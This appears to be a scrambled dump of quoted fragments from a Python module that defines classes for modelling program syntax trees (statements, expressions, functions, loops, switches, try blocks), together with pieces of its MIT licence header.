self.body.pretty_str(indent + 2) return", "@property def is_member(self): \"\"\"Whether this is a member/attribute of a", "instance of `CodeEntity` and `repr` otherwise. Args: something: Some value", "and then declares at least one branch (*cases*) that execute", "of charge, to any person obtaining a copy #of this", "statement for declaring variables within a function, for instance. A", "(CodeStatement, CodeExpression)) self.body._add(codeobj) def _children(self): \"\"\"Yield all direct children of", "handled). \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for try block", "for consistency with the class hierarchy. It should have no", "*then* and *else* branches were concatenated, for indexing purposes. \"\"\"", "the reference is a field/attribute of an object, `field_of` should", "({}):\\n{}'.format(spaces, decls, body) return pretty ############################################################################### # Helpers ############################################################################### def", "object is fully built. \"\"\" for codeobj in self.members: if", "as a filter. Kwargs: recursive (bool): Whether to descend recursively", "program and a list of references to it. If a", "a tuple of its arguments and a reference to the", "\"\"\"This class represents a composite literal. A composite literal is", "`_afterpass()` of child objects. This should only be called after", "tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.variables = [] def _add(self,", "statement typically has a name. \"\"\" def __init__(self, scope, parent,", "an assignment operator.\"\"\" return self.name == \"=\" def _add(self, codeobj):", "THE #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,", "+= '\\n{}finally:\\n'.format(spaces) pretty += self.finally_body.pretty_str(indent=indent + 2) return pretty class", "typically has a name (of what it is referencing), and", "is meant to provide common utility methods for objects that", "> 0: if k < o: return self.body.statement(k) if k", "spell) def __str__(self): \"\"\"Return a string representation of this object.\"\"\"", "None def _set_declarations(self, declarations): \"\"\"Set declarations local to this loop", "in C, C++, Java, etc.). Blocks are little more than", "\"\"\"Return a string representation of this object.\"\"\" return str(self.body) class", "def __init__(self, scope, parent, value, result, paren=False): \"\"\"Constructor for literals.", "spaces to use as indentation. \"\"\" if self.parenthesis: return '{}({})'.format('", "id: An unique identifier for this variable. name (str): The", "where this expression occurs.\"\"\" return self._lookup_parent(CodeStatement) def pretty_str(self, indent=0): \"\"\"Return", "function where this statement appears in.\"\"\" return self._lookup_parent(CodeFunction) class CodeJumpStatement(CodeStatement):", "\"\"\"This class represents a code block (e.g. `{}` in C,", "self.finally_body = CodeBlock(scope, self, explicit=True) def _set_body(self, body): \"\"\"Set the", "the object on which a method is called.\"\"\" assert isinstance(codeobj,", "indent if self.value is not None: return '{}{} {}'.format(indent, self.name,", "CodeEntity.__init__(self, scope, parent) self.id = id self.name = name self.result", "return indent + self.name def __repr__(self): \"\"\"Return a string representation", "of this object.\"\"\" for codeobj in self.members: yield codeobj def", "(str): The return type of the argument in the program.", "or () @property def is_unary(self): \"\"\"Whether this is a unary", "all direct children of this object.\"\"\" if isinstance(self.value, CodeEntity): yield", "result, result) def _children(self): \"\"\"Yield all the children of this", "\"\"\" if self.parenthesis: return '{}({})'.format(' ' * indent, pretty_str(self.value)) return", "C, C++, Java, etc.). Blocks are little more than collections", "#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,", "a jump statement (e.g. `return`, `break`). A jump statement has", "this object.\"\"\" if isinstance(self.value, CodeEntity): yield self.value def pretty_str(self, indent=0):", "def statement_after(self, i): \"\"\"Return the statement after the *i*-th one,", "object.\"\"\" for value in self.value: if isinstance(value, CodeEntity): yield value", "CodeBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a code block (e.g. `{}`", "the function's parameters. \"\"\" return (isinstance(self.scope, CodeStatement) or (isinstance(self.scope, CodeFunction)", "return True @property def is_local(self): \"\"\"Whether this is a local", "\"\"\"Base class for literal types not present in Python. This", "return (isinstance(self.scope, CodeFunction) and self in self.scope.parameters) @property def is_member(self):", "if not codeobj.is_definition: if not codeobj._definition is None: codeobj._definition.member_of =", "parent, name, result, paren=False): \"\"\"Constructor for expressions. Args: scope (CodeEntity):", "name, result, spell) def __str__(self): \"\"\"Return a string representation of", "+ (codeobj,) def _children(self): \"\"\"Yield all direct children of this", "an object, `field_of` should be set to that object. \"\"\"", "result, definition=True): \"\"\"Constructor for functions. Args: scope (CodeEntity): The program", "name self.value = None def _add(self, codeobj): \"\"\"Add a child", "arguments. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for statements. Args:", "body of statements, just like regular blocks. Multiple `catch` blocks", "and a `CodeBlock` that is executed when the condition is", "variable. A variable typically has a name, a type (`result`)", "object, `field_of` should be set to that object. \"\"\" def", "\"\"\"Yield all direct children of this object.\"\"\" for value in", "references to it and a list of statements that write", "a program. If there are no better candidates, it is", "flow statement typically has a name. \"\"\" def __init__(self, scope,", "object is fully built. \"\"\" for codeobj in self.children: codeobj._afterpass()", "= [] def _add(self, codeobj): \"\"\"Add a child (variable) to", "values.\"\"\" CodeExpression.__init__(self, None, None, result, result) def _children(self): \"\"\"Yield all", "\"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.value, CodeExpression):", "a program variable. A variable typically has a name, a", "def _afterpass(self): \"\"\"Assign a function-local index to each child object", "isinstance(codeobj, cls) ] def _afterpass(self): \"\"\"Finalizes the construction of a", "when the value is unknown). Additionally, a variable has an", "value. Many programming languages have their own version of this", "a condition.\"\"\" return self.condition, self.body @property def else_branch(self): \"\"\"The default", "parent, value, result, paren=False): \"\"\"Constructor for literals. As literals have", "of the operator in the program. Kwargs: args (tuple): Initial", "scope, parent) self.name = name self.value = None def _add(self,", "references), a list of references to it and a list", "class represents a function call. A function call typically has", "list(value) except TypeError as te: raise AssertionError(str(te)) CodeLiteral.__init__(self, scope, parent,", "This object's parent in the program tree. name (str): The", "== \"=\" def _add(self, codeobj): \"\"\"Add a child (argument) to", "operator.\"\"\" return len(self.arguments) == 1 @property def is_binary(self): \"\"\"Whether this", "parent (CodeEntity): This object's parent in the program tree. result", "in self.children) return pretty def __repr__(self): \"\"\"Return a string representation", "such, assignment operators are included here. An operator typically has", "paren=False): \"\"\"Constructor for function calls. Args: scope (CodeEntity): The program", "when no condition is met). A control flow statement typically", "{} {}'.format(self.body, self.catches, self.finally_body) def pretty_str(self, indent=0): \"\"\"Return a human-readable", "`member_of` should be set to the corresponding class. \"\"\" def", "= self.body def _children(self): \"\"\"Yield all direct children of this", "convert. Kwargs: indent (int): The amount of spaces to use", "object.\"\"\" for codeobj in self.body._children(): yield codeobj for catch_block in", "for v in self.variables) def __repr__(self): \"\"\"Return a string representation", "for classes. Args: scope (CodeEntity): The program scope where this", "concept that is explicit in languages such as C++, but", "here. An operator typically has a name (its token), a", "is a function definition or just a declaration.\"\"\" return self._definition", "compound literal. Args: scope (CodeEntity): The program scope where this", "self.method_of: yield self.method_of for codeobj in self.arguments: if isinstance(codeobj, CodeExpression):", "__init__(self, scope, parent, result): \"\"\"Constructor for default arguments. Args: scope", "self.variables: yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "\"\"\" def __init__(self, scope, parent): \"\"\"Constructor for declaration statements. Args:", "this object. Kwargs: indent (int): The amount of spaces to", "class CodeStatementGroup(object): \"\"\"This class is meant to provide common utility", "params = ', '.join(map(str, self.parameters)) return '[{}] {}({})'.format(self.result, self.name, params)", "Some languages allow loops to define local declarations, as well", "the rights #to use, copy, modify, merge, publish, distribute, sublicense,", "program. If there are no better candidates, it is the", "WARRANTIES OF MERCHANTABILITY, #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.", "equal to the branch value. It may also have a", "scope, parent, name, result, args=None, paren=False): \"\"\"Constructor for operators. Args:", "of this object.\"\"\" return str(self.body) class CodeDeclaration(CodeStatement): \"\"\"This class represents", "and a type (`result`). Also, an expression should indicate whether", "A function typically has a name, a return type (`result`),", "to it and a list of statements that write new", "a larger expression. \"\"\" def __init__(self, scope, parent, expression=None): \"\"\"Constructor", "name of the namespace in the program. \"\"\" CodeEntity.__init__(self, scope,", "pretty = '{}switch ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent + 2)", "an instance of `CodeEntity` and `repr` otherwise. Args: something: Some", "a human-readable string representation of this object. Kwargs: indent (int):", "if self.parenthesis else '{}{}' name = ('{}.{}'.format(self.field_of.pretty_str(), self.name) if self.field_of", "self, explicit=True) self.member_of = None self.references = [] self._definition =", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.condition,", "_add_catch(self, catch_block): \"\"\"Add a catch block (exception variable declaration and", "is not one of the function's parameters. \"\"\" return (isinstance(self.scope,", "the program tree. name (str): The name of the reference", "program tree. name (str): The name of the control flow", "IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #IMPLIED, INCLUDING", "CodeExpression.TYPES) self.value = codeobj def _children(self): \"\"\"Yield all direct children", "all the children of this object, that is no children.\"\"\"", "the assignment operator, which can be a statement on its", "cases, it may also have an associated value (e.g. `return", "pretty class CodeLoop(CodeControlFlow): \"\"\"This class represents a loop (e.g. `while`,", "`repr` otherwise. Args: something: Some value to convert. Kwargs: indent", "one, or `None`.\"\"\" try: return self.statement(i + 1) except IndexError", "= indent * '| ' return '{}[{}:{}] {}{}: {}'.format(prefix, line,", "2) return pretty class CodeLoop(CodeControlFlow): \"\"\"This class represents a loop", "pretty += '\\n' + block.pretty_str(indent) if len(self.finally_body) > 0: pretty", "of this object.\"\"\" return '#' + self.name def __repr__(self): \"\"\"Return", "\"\"\" line = self.line or 0 col = self.column or", "def _add(self, codeobj): \"\"\"Add a child (argument) to this object.\"\"\"", "identifies it in the program (useful to resolve references), a", "combined.\"\"\" return len(self.body) + len(self.else_body) def _children(self): \"\"\"Yield all direct", "parent in the program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, \"switch\")", "statement. It is only a wrapper. Many programming languages allow", "for codeobj in self.walk_preorder(): codeobj._fi = fi fi += 1", "class represents an expression statement. It is only a wrapper.", "'name', '[no spelling]') result = ' ({})'.format(self.result) if hasattr(self, 'result')", "tuple of its arguments. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor", "self.children: codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "program. \"\"\" CodeControlFlow.__init__(self, scope, parent, name) self.declarations = None self.increment", "object.\"\"\" for codeobj in self.arguments: if isinstance(codeobj, CodeExpression): yield codeobj", "= fi fi += 1 if isinstance(codeobj, CodeOperator) and codeobj.is_assignment:", "to resolve references), a list of references to it and", "if k > 0: if k < o: return self.body.statement(k)", "_add_value(self, child): \"\"\"Add a value to the sequence in this", "returns a value when contained within a larger expression. \"\"\"", "in self.walk_preorder(): codeobj._fi = fi fi += 1 if isinstance(codeobj,", "self.parenthesis else '{}{}' if self.is_unary: operator = self.name + pretty_str(self.arguments[0])", "may consider more branches, or default branches (executed when no", "object on which a method is called.\"\"\" assert isinstance(codeobj, CodeExpression)", "If the referenced entity is known, `reference` should be set.", "+ 2) for c in self.members ) else: pretty +=", "_add_branch(self, value, statement): \"\"\"Add a branch/case (value and statement) to", "stmt in self.body) else: return (' ' * indent) +", "as indentation. \"\"\" if self.parenthesis: return (' ' * indent)", "for code objects. Args: scope (CodeEntity): The program scope where", "object's `body`.\"\"\" return self.statement(i) def __len__(self): \"\"\"Return the length of", "a column number, a programming scope (e.g. the function or", "OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR", "children objects (variables, functions or classes). \"\"\" def __init__(self, scope,", "spaces = ' ' * indent decls = ('...' if", "languages, such as C++, allow function parameters to have default", "None @property def is_definition(self): \"\"\"Whether this is a function definition", "scope, parent, id_, name, definition=True): \"\"\"Constructor for classes. Args: scope", "self.result, self.name, pretty_str(self.value)) def __repr__(self): \"\"\"Return a string representation of", "if self.body: return '\\n'.join(stmt.pretty_str(indent) for stmt in self.body) else: return", "\"switch\") self.cases = [] self.default_case = None def _add_branch(self, value,", "expression=None): \"\"\"Constructor for expression statements. Args: scope (CodeEntity): The program", "+ 2) return pretty class CodeSwitch(CodeControlFlow): \"\"\"This class represents a", "be called after the object is fully built. \"\"\" for", "a string representation of this object.\"\"\" return '[namespace {}]'.format(self.name) class", "a method is being called. \"\"\" def __init__(self, scope, parent,", "CodeExpression.__init__(self, scope, parent, 'literal', result, paren) self.value = value def", "direct children of this object.\"\"\" if isinstance(self.condition, CodeExpression): yield self.condition", "\"\"\"Assign the `member_of` of child members and call their `_afterpass()`.", "may be defined to handle specific types of exceptions. Some", "self.reference = None def _set_field(self, codeobj): \"\"\"Set the object that", "body def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "this is a member/attribute of a class or object.\"\"\" return", "def _afterpass(self): \"\"\"Call the `_afterpass()` of child objects. This should", "({}) {}'.format(self.declarations, self.body) def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "(' ' * indent) + self.__str__() def ast_str(self, indent=0): \"\"\"Return", "literal has a value (e.g. a list `[1, 2, 3]`)", "statements must be contained within a function. An operator typically", "+ ' [declaration]' return pretty def __repr__(self): \"\"\"Return a string", "\"\"\"Constructor for expression statements. Args: scope (CodeEntity): The program scope", "used instead. Args: scope (CodeEntity): The program scope where this", "return '[{}] {}'.format(self.result, self.name) class CodeFunctionCall(CodeExpression): \"\"\"This class represents a", "Whether the literal is enclosed in parentheses. \"\"\" try: value", "\"\"\"Return a string representation of this object.\"\"\" return '[class {}]'.format(self.name)", "child in self._children(): for descendant in child.walk_preorder(): yield descendant def", "== self.name def _add(self, codeobj): \"\"\"Add a child (argument) to", "v, condition, i) pretty += self.body.pretty_str(indent=indent + 2) return pretty", "known, `reference` should be set. If the reference is a", "allow function parameters to have default values when not explicitly", "declared directly under the program's global scope or a namespace.", "(variables, functions or classes). \"\"\" def __init__(self, scope, parent, name):", "block) to this try block structure. \"\"\" assert isinstance(catch_block, self.CodeCatchBlock)", "self.body.pretty_str(indent + 2) return pretty def __repr__(self): \"\"\"Return a string", "A namespace is a concept that is explicit in languages", "(its token), a return type, and a tuple of its", "to have a default branch (the `else` branch), besides its", "parent) self.id = id self.name = name self.result = result", "name, result, paren) self.full_name = name self.arguments = () self.method_of", "whether it is enclosed in parentheses. \"\"\" def __init__(self, scope,", "return type, and a tuple of its arguments. \"\"\" def", "self.declarations.pretty_str()) body = self.body.pretty_str(indent=indent + 2) pretty = '{}catch ({}):\\n{}'.format(spaces,", "object that should have some variable or collection holding this", "parent) self.body = [] self.explicit = explicit def statement(self, i):", "to use as indentation. \"\"\" return '\\n\\n'.join( codeobj.pretty_str(indent=indent) for codeobj", "instantiated directly, only used for inheritance purposes. It defines the", "self.result = result self.parenthesis = paren @property def function(self): \"\"\"The", "pretty_str(self.expression, indent=indent) def __repr__(self): \"\"\"Return a string representation of this", "name (str): The name of the namespace in the program.", "value (its `condition`) and then declares at least one branch", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return '[{}]", "'\\n' + block.pretty_str(indent) if len(self.finally_body) > 0: pretty += '\\n{}finally:\\n'.format(spaces)", "in self.body._children(): yield codeobj def _afterpass(self): \"\"\"Assign a function-local index", "and provides methods for integer-based indexing of program statements (as", "This model assumes that control flow branches and functions always", "'\\n{}finally:\\n'.format(spaces) pretty += self.finally_body.pretty_str(indent=indent + 2) return pretty class CodeCatchBlock(CodeStatement,", "Model ############################################################################### class CodeEntity(object): \"\"\"Base class for all programming entities.", "of programming languages, so this implementation might be lackluster. \"\"\"", "'[{}] {}'.format(self.result, self.name) class SomeValue(CodeExpression): \"\"\"This class represents an unknown", "paren) @property def values(self): return tuple(self.value) def _add_value(self, child): \"\"\"Add", "Whether the reference is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope,", "new list and # returning a custom exception message. o", "scope, parent, expression=None): \"\"\"Constructor for expression statements. Args: scope (CodeEntity):", "for codeobj in self.members: yield codeobj def _afterpass(self): \"\"\"Assign the", "codeobj.pretty_str(indent=indent) for codeobj in self.children ) # ----- Expression Entities", "CodeStatementGroup): \"\"\"This class represents a program function. A function typically", "isinstance(self.value, CodeExpression): yield self.value def pretty_str(self, indent=0): \"\"\"Return a human-readable", "type (`result`), and it should indicate whether it is enclosed", "_lookup_parent(self, cls): \"\"\"Lookup a transitive parent object that is an", "variables. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for declaration statements.", "#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT", "self.cases.append((value, statement)) def _add_default_branch(self, statement): \"\"\"Add a default branch to", "in the program tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.body =", "= [] @property def is_definition(self): return True @property def is_local(self):", "no name, a constant string is used instead. Args: scope", "'' i = self.increment.pretty_str(indent=1) if self.increment else '' pretty =", "CodeNull(CodeLiteral): \"\"\"This class represents an indefinite value. Many programming languages", "statement themselves. Some languages allow blocks to be implicit in", "for declaring variables within a function, for instance. A declaration", "LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #LIABILITY, WHETHER IN", "this object.\"\"\" if self.field_of: return '[{}] ({}).{}'.format(self.result, self.field_of, self.name) return", "parent, id_, name, definition=True): \"\"\"Constructor for classes. Args: scope (CodeEntity):", "isinstance(codeobj, CodeVariable) self.variables.append(codeobj) def _children(self): \"\"\"Yield all direct children of", "self.value) CodeExpression.TYPES = (int, long, float, bool, basestring, SomeValue, CodeLiteral,", "languages allow blocks to be implicit in some contexts, e.g.", "its mandatory one. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for", "An example present in many programming languages are list literals,", "id, name, result, definition=True): \"\"\"Constructor for functions. Args: scope (CodeEntity):", "little more than collections of statements, while being considered a", "an associated value (e.g. `return 0`). \"\"\" def __init__(self, scope,", "of this object. Kwargs: indent (int): The amount of spaces", "self.arguments = () self.method_of = None self.reference = None @property", "\"\"\" indent = ' ' * indent pretty = '{}({})'", "return '{}({})'.format(' ' * indent, pretty_str(self.value)) return pretty_str(self.value, indent=indent) def", "which a method is called.\"\"\" assert isinstance(codeobj, CodeExpression) self.method_of =", "CodeControlFlow.__init__(self, scope, parent, \"switch\") self.cases = [] self.default_case = None", "OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #OUT OF OR", "'new {}({})'.format(self.name, args) else: call = '{}({})'.format(self.name, args) return pretty.format(indent,", "None) self.children = [] def _add(self, codeobj): \"\"\"Add a child", "above copyright notice and this permission notice shall be included", "v = self.declarations.pretty_str() if self.declarations else '' i = self.increment.pretty_str(indent=1)", "+ p.name, self.parameters)) if self.is_constructor: pretty = '{}{}({}):\\n'.format(spaces, self.name, params)", "`CodeBlock` that is executed when the condition is met). Specific", "self.finally_body) def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "\"\"\"Return the *i*-th statement of this block.\"\"\" return self.body[i] def", "is_constructor(self): \"\"\"Whether this function is a class constructor.\"\"\" return self.member_of", "+ ' ' + p.name, self.parameters)) if self.is_constructor: pretty =", "other blocks (either the `try` block, or a `catch` block,", "branch (a boolean condition and a `CodeBlock` that is executed", "name of the expression in the program. result (str): The", "of indentation levels. \"\"\" line = self.line or 0 col", "self.name def _add(self, codeobj): \"\"\"Add a child (argument) to this", "to use as indentation. \"\"\" if self.body: return '\\n'.join(stmt.pretty_str(indent) for", "scope, parent): \"\"\"Base constructor for code objects. Args: scope (CodeEntity):", "n) raise IndexError('statement index out of range') def statement_after(self, i):", "is called.\"\"\" assert isinstance(codeobj, CodeExpression) self.method_of = codeobj def _children(self):", "can be of many types, including literal values, operators, references", "expression occurs.\"\"\" return self._lookup_parent(CodeFunction) @property def statement(self): \"\"\"The statement where", "Entities ---------------------------------------------------- class CodeStatement(CodeEntity): \"\"\"Base class for program statements. Programming", "is_constructor(self): \"\"\"Whether the called function is a constructor.\"\"\" return self.result", "pretty += '\\n\\n'.join(c.pretty_str(indent + 2) for c in self.children) return", "object.\"\"\" return '[{}] {{{}}}'.format(self.result, ', '.join(map(repr, self.value))) class CodeReference(CodeExpression): \"\"\"This", "to whom the Software is #furnished to do so, subject", "switches. Args: scope (CodeEntity): The program scope where this object", "CodeDeclaration(CodeStatement): \"\"\"This class represents a declaration statement. Some languages, such", "of statement for declaring variables within a function, for instance.", "a statement themselves. Some languages allow blocks to be implicit", "' ' * indent decls = ('...' if self.declarations is", "Whether the expression is enclosed in parentheses. \"\"\" CodeEntity.__init__(self, scope,", "scope, parent, value, result, paren=False): \"\"\"Constructor for literals. As literals", "executed when the condition is met). Specific implementations may consider", "def _set_method(self, codeobj): \"\"\"Set the object on which a method", "children. This class inherits from CodeLiteral just for consistency with", "name) self.declarations = None self.increment = None def _set_declarations(self, declarations):", "Entities ------------------------------------------------------- class CodeVariable(CodeEntity): \"\"\"This class represents a program variable.", "be instantiated directly, only used for inheritance purposes. It defines", "-n: if i >= o - n: return self.else_body.statement(i) return", "self.body) def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "result, paren=False): \"\"\"Constructor for function calls. Args: scope (CodeEntity): The", "Initial tuple of arguments. paren (bool): Whether the expression is", "and a list of references. If a class is defined", "def is_member(self): \"\"\"Whether this is a member/attribute of a class", "if its containing scope is a statement (e.g. a block),", "the *then* and *else* branches were concatenated, for indexing purposes.", "for catch statements within a try-catch block.\"\"\" def __init__(self, scope,", "this object.\"\"\" params = ', '.join(map(str, self.parameters)) return '[{}] {}({})'.format(self.result,", "parent in the program tree. value (CodeExpression|CodeExpression[]): This literal's value.", "rights #to use, copy, modify, merge, publish, distribute, sublicense, and/or", "expression is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name,", "a single branch, its condition plus the body that should", "self.members = [] self.superclasses = [] self.member_of = None self.references", "granted, free of charge, to any person obtaining a copy", "', '.join(map(lambda p: p.result + ' ' + p.name, self.parameters))", "all direct children of this object.\"\"\" if isinstance(self.condition, CodeExpression): yield", "variable or collection holding this object. \"\"\" def __init__(self, scope,", "should be set to the object on which a method", "'.join(map(lambda p: p.result + ' ' + p.name, self.parameters)) if", "# ----- This code is just to avoid creating a", "this object.\"\"\" for codeobj in self.body._children(): yield codeobj for catch_block", "not instantiated directly. An expression typically has a name (e.g.", "otherwise. Args: something: Some value to convert. Kwargs: indent (int):", "parentheses. \"\"\" def __init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor", "+ 'try:\\n' pretty += self.body.pretty_str(indent=indent + 2) for block in", "def __init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor for expressions.", "CodeStatement.__init__(self, scope, parent) self.variables = [] def _add(self, codeobj): \"\"\"Add", "a switch statement. A switch evaluates a value (its `condition`)", "of this object.\"\"\" return str(self.variables) class CodeControlFlow(CodeStatement, CodeStatementGroup): \"\"\"Base class", "main body of statements, just like regular blocks. Multiple `catch`", "met). Specific implementations may consider more branches, or default branches", "= id self.name = name self.result = result self.parameters =", "spaces to use as indentation. \"\"\" if self.body: return '\\n'.join(stmt.pretty_str(indent)", "program. Expressions can be of many types, including literal values,", "yield codeobj for codeobj in self.finally_body._children(): yield codeobj def __len__(self):", "same as a class, or non-existent. A namespace typically has", "representation of this object.\"\"\" return 'catch ({}) {}'.format(self.declarations, self.body) def", "(tuple): Initial tuple of arguments. paren (bool): Whether the expression", "get_branches(self): \"\"\"Return a list with the conditional branch and the", "(of the called function), a return type, a tuple of", "self.body = [] self.explicit = explicit def statement(self, i): \"\"\"Return", "parent, name, result, paren) self.full_name = name self.arguments = ()", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return '[class", "contained within a larger expression. \"\"\" def __init__(self, scope, parent,", "`{}` in C, C++, Java, etc.). Blocks are little more", "'{}{}'.format(indent, values) def __repr__(self): \"\"\"Return a string representation of this", "result, spell) def __str__(self): \"\"\"Return a string representation of this", "should have some variable or collection holding this object. \"\"\"", "CodeVariable(CodeEntity): \"\"\"This class represents a program variable. A variable typically", "tree. value (CodeExpression|CodeExpression[]): This literal's value. result (str): The return", "pretty_str(self.arguments[0]) else: operator = '{} {} {}'.format(pretty_str(self.arguments[0]), self.name, pretty_str(self.arguments[1])) return", "def __init__(self, scope, parent, name): \"\"\"Constructor for namespaces. Args: scope", "catch block.\"\"\" assert isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope =", "in self.body: yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable", "and respective body.\"\"\" return [(self.condition, self.body)] def _set_condition(self, condition): \"\"\"Set", "program tree. name (str): The name of the namespace in", "program tree. Kwargs: expression (CodeExpression): The expression of this statement.", "isinstance(value, CodeEntity): yield value def pretty_str(self, indent=0): \"\"\"Return a human-readable", "= 'new {}({})'.format(self.name, args) else: call = '{}({})'.format(self.name, args) return", "'{}{}({}):\\n'.format(spaces, self.name, params) else: pretty = '{}{} {}({}):\\n'.format(spaces, self.result, self.name,", "'{} {} {}'.format(pretty_str(self.arguments[0]), self.name, pretty_str(self.arguments[1])) return pretty.format(indent, operator) def __repr__(self):", "'class ' + self.name if self.superclasses: superclasses = ', '.join(self.superclasses)", "+= self.body.pretty_str(indent + 2) return pretty def __repr__(self): \"\"\"Return a", "- n: return self.else_body.statement(i) return self.body.statement(i - o + n)", "OF MERCHANTABILITY, #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN", "self.field_of: return '[{}] ({}).{}'.format(self.result, self.field_of, self.name) return '[{}] #{}'.format(self.result, self.name)", "it in the program (useful to resolve references), a list", "class represents the global scope of a program. The global", "spaces + 'class ' + self.name if self.superclasses: superclasses =", "descendant in child.walk_preorder(): yield descendant def filter(self, cls, recursive=False): \"\"\"Retrieves", "call = '{}.{}({})'.format(self.method_of.pretty_str(), self.name, args) elif self.is_constructor: call = 'new", "in parentheses. \"\"\" CodeEntity.__init__(self, scope, parent) self.name = name self.result", "Some languages allow blocks to be implicit in some contexts,", "be set to that object. \"\"\" def __init__(self, scope, parent,", "those. A literal has a value (e.g. a list `[1,", "of `CodeEntity` and `repr` otherwise. Args: something: Some value to", "using a list). \"\"\" def statement(self, i): \"\"\"Return the *i*-th", "program namespace. A namespace is a concept that is explicit", "\"\"\"Return a string representation of this object.\"\"\" return str(self.variables) class", "self.name, pretty_str(self.value)) return indent + self.name def __repr__(self): \"\"\"Return a", "pretty += self.body.pretty_str(indent=indent + 2) return pretty class CodeSwitch(CodeControlFlow): \"\"\"This", "are little more than collections of statements, while being considered", "the variable is a *member*/*field*/*attribute* of an object, `member_of` should", "\"\"\"Constructor for conditionals. Args: scope (CodeEntity): The program scope where", "the increment statement for this loop (e.g. in a `for`).\"\"\"", "have a main body of statements, just like regular blocks.", "return type. \"\"\" def __init__(self, scope, parent, result): \"\"\"Constructor for", "in the program tree. name (str): The name of the", "self.declarations for codeobj in self.body._children(): yield codeobj def __repr__(self): \"\"\"Return", "paren=False): \"\"\"Constructor for a compound literal. Args: scope (CodeEntity): The", "class for program statements. Programming languages often define diverse types", "in self.children: yield codeobj def _afterpass(self): \"\"\"Call the `_afterpass()` of", "\"\"\"Add a child (value) to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES)", "[(self.condition, self.body)] def _set_condition(self, condition): \"\"\"Set the condition for this", "explicit=False) @property def then_branch(self): \"\"\"The branch associated with a condition.\"\"\"", "if not codeobj._definition is None: codeobj._definition.member_of = self codeobj._afterpass() def", "is equal to the branch value. It may also have", "scope, parent, name): \"\"\"Constructor for namespaces. Args: scope (CodeEntity): The", "unknown). Additionally, a variable has an `id` which uniquely identifies", "for global scope objects.\"\"\" CodeEntity.__init__(self, None, None) self.children = []", "' ' * indent condition = pretty_str(self.condition) pretty = '{}switch", "CodeExpression.__init__(self, scope, parent, name, result, paren) self.arguments = args or", "The name of the control flow statement in the program.", "ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #OUT OF", "CodeClass)) self.members.append(codeobj) codeobj.member_of = self def _children(self): \"\"\"Yield all direct", "default argument. Some languages, such as C++, allow function parameters", "IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS", "if the given value is an instance of `CodeEntity` and", "None and not isinstance(codeobj, cls): codeobj = codeobj.parent return codeobj", "The amount of spaces to use as indentation. \"\"\" return", "a value when contained within a larger expression. \"\"\" def", "self.arguments[1]) return '[{}] {}'.format(self.result, self.name) class CodeFunctionCall(CodeExpression): \"\"\"This class represents", "self.body = body else: self.body._add(body) def _children(self): \"\"\"Yield all direct", "to represent a literal whose type is not numeric, string", "+= self.finally_body.pretty_str(indent=indent + 2) return pretty class CodeCatchBlock(CodeStatement, CodeStatementGroup): \"\"\"Helper", "spaces = ' ' * indent condition = pretty_str(self.condition) v", "class CodeFunction(CodeEntity, CodeStatementGroup): \"\"\"This class represents a program function. A", "Control flow statements are assumed to have, at least, one", "CLAIM, DAMAGES OR OTHER #LIABILITY, WHETHER IN AN ACTION OF", "float, bool, basestring, CodeLiteral) class CodeNull(CodeLiteral): \"\"\"This class represents an", "range') def statement_after(self, i): \"\"\"Return the statement after the *i*-th", "without limitation the rights #to use, copy, modify, merge, publish,", "None: codeobj._definition.member_of = self codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a", "it and a list of statements that write new values", "indent=0): \"\"\"Return a human-readable string representation of an object. Uses", "object, that is no children.\"\"\" return iter(()) SomeValue.INTEGER = SomeValue(\"int\")", "an expression statement. It is only a wrapper. Many programming", "for unknown values.\"\"\" CodeExpression.__init__(self, None, None, result, result) def _children(self):", "as indentation. \"\"\" spaces = ' ' * indent pretty", "'{}for ({}; {}; {}):\\n'.format(spaces, v, condition, i) pretty += self.body.pretty_str(indent=indent", "a valid construct.\"\"\" return True def _children(self): \"\"\"Yield all direct", "can be unary or binary, and often return numbers or", "CodeLiteral, CodeExpression) CodeExpression.LITERALS = (int, long, float, bool, basestring, CodeLiteral)", "self.name = name self.result = result self.parenthesis = paren @property", "string representation of this object.\"\"\" return 'catch ({}) {}'.format(self.declarations, self.body)", "CodeExpression): yield self.condition for codeobj in self.body._children(): yield codeobj def", "as indentation. \"\"\" spaces = ' ' * indent params", "o: return self.body.statement(i) return self.else_body.statement(i - o) elif i <", "*else* branches were concatenated, for indexing purposes. \"\"\" # 